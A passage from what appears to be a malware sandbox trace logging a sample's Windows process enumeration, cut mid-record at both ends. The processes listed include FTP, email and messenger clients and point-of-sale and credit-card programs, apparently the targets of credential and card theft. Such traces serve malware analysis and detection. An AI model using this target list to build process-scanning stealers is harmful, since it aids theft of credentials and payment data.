lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0265.055] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0265.057] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0265.059] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0265.061] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0265.063] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0265.066] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0265.069] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0265.071] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0265.073] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0265.076] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0265.078] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0265.081] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0265.084] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0265.087] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0265.090] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0265.092] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0265.095] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0265.099] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0265.102] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0265.104] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0265.107] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0265.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0265.114] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0265.117] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0265.120] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0265.123] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0265.126] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0265.128] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0265.132] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0265.135] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0265.137] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0265.140] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0265.143] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0265.176] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0265.179] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0265.181] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0265.183] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0265.185] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0265.188] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0265.191] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0265.194] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0265.197] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0265.198] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0265.200] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0265.202] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0265.204] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0265.206] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0265.208] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0265.210] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0265.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0265.215] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0265.216] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0265.218] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0265.220] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0265.222] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0265.225] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0265.227] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0265.229] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0265.231] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0265.234] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.236] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0265.238] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.241] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0265.244] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0265.247] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0265.249] CloseHandle (hObject=0x2200) returned 1 [0265.249] Sleep (dwMilliseconds=0x64) [0265.250] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0265.271] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.275] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.278] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.281] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.283] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.320] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.323] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.325] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.328] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.361] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.364] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.366] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.368] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.371] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.374] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.376] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.378] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, 